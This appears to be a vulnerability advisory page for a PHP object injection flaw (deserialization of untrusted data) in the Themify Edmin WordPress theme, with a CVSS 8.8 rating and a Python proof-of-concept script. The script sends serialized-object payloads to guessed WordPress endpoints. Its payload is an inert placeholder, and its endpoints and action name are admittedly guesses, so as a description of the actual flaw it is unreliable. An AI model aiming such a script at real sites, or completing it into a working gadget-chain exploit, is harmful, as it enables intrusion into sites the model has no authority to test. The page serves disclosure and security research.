Deserialization of Untrusted Data vulnerability in Themify Themify Edmin allows Object Injection.This issue affects Themify Edmin: from n/a through 2.0.0.
CVSS Details
CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Themify Edmin <= 2.0.0
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
# CVE-2025-31047 PoC - Themify Edmin Object Injection
# Target: WordPress site with Themify Edmin theme <= 2.0.0
import requests
import sys
from urllib.parse import urlencode
def generate_malicious_payload():
"""
Generate PHP object injection payload
Replace with actual gadget chain for full RCE
"""
# This is a placeholder - actual exploitation requires:
# 1. Finding the unserialize() sink in the theme
# 2. Building a valid gadget chain for the target environment
# 3. Using tools like PHPGGC to generate the payload
# Example structure (illustrative only):
payload = 'O:8:"stdClass":1:{s:5:"data";s:10:"malicious";}'
return payload
def exploit(target_url, wp_admin_cookie=None):
"""
Exploit CVE-2025-31047
Args:
target_url: Base URL of the WordPress site
wp_admin_cookie: WordPress admin cookie for authentication
"""
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Content-Type': 'application/x-www-form-urlencoded'
}
if wp_admin_cookie:
headers['Cookie'] = wp_admin_cookie
# Find the vulnerable endpoint
# Typical targets: wp-admin/admin-ajax.php or theme-specific endpoints
vulnerable_endpoints = [
f'{target_url}/wp-admin/admin-ajax.php',
f'{target_url}/wp-content/themes/themify-edmin/includes/themify-common.php',
]
payload = generate_malicious_payload()
for endpoint in vulnerable_endpoints:
print(f'[*] Testing endpoint: {endpoint}')
# Example POST request structure
data = {
'action': 'themify_shortcode', # Example action
'data': payload
}
try:
response = requests.post(endpoint, data=data, headers=headers, timeout=10)
if response.status_code == 200:
print(f'[+] Potential vulnerability at {endpoint}')
print(f'[*] Response: {response.text[:200]}')
except requests.RequestException as e:
print(f'[-] Error: {e}')
if __name__ == '__main__':
if len(sys.argv) < 2:
print(f'Usage: python3 {sys.argv[0]} <target_url> [cookie]')
sys.exit(1)
target = sys.argv[1]
cookie = sys.argv[2] if len(sys.argv) > 2 else None
exploit(target, cookie)